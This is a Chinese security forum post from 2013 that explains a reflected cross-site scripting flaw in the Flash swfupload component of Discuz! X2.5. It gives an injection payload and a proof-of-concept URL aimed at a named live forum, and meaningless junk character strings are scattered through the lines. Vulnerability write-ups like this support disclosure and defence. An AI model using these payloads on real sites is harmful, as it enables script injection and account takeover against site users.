中国网络渗透测试联盟

标题: Flash应用安全系列[2]--Discuz! X2.5反射型跨站 [打印本页]

作者: admin    时间: 2013-2-23 12:50
标题: Flash应用安全系列[2]--Discuz! X2.5反射型跨站
上回我们说
7 M% T" x8 j/ K, H9 w/ N) y1 H7 b8 `# n; q* t" [
flash.external.ExternalInterface.call($methodName, $parameter)
9 S) ?0 n- X1 T; S" |  A* d" z9 N在浏览器中执行的是
, o  g0 F! f0 s) i7 p" @& o6 M
) V: S2 ~8 F1 B( d! \4 otry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}5 P4 g2 o; v2 J( F; {" T
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如; l4 F4 v: f" t5 d8 q" i

  {# B8 w! j: s, H: o# Oflash.external.ExternalInterface.call("object."+$methodName, $parameter); I# E2 D& {! E1 L; ~
$methodName = a())}catch(e){alert(/xss/)}//
% W+ D: ?- H$ I: ^0 i, I结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。( ^4 R9 @9 N4 }% S

! {# ~& k2 I0 @0 [+ ftry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
( Q$ \$ B- A, X5 K8 h1 S# W7 B' J% v6 u+ F+ N9 E: n) s
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
3 @  E1 x' E: B/ m& R  H杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
. X2 t7 u7 ?/ [( I  h
! f+ a5 ]" x' }6 t/ W6 Y7 E+ E; w3 f$ S' k* j

  l; l/ p1 ^! p4 f1 ]: P% X漏洞文件:upload\static\image\common\swfupload.swf" ]. T/ j/ m( c8 g, q- d( @

$ n0 W4 k! x' E9 V, }原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf* k( Z9 m' z' @* U* T0 T

2 ~5 f" m- M' Z6 z7 N, w
! z8 s2 X: Y3 x# T  I" [漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//) i+ {1 ^7 I, Y1 |9 l

, d$ T0 {, _; T4 h1 _
! C' ]& G8 x' c* [) C+ K




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2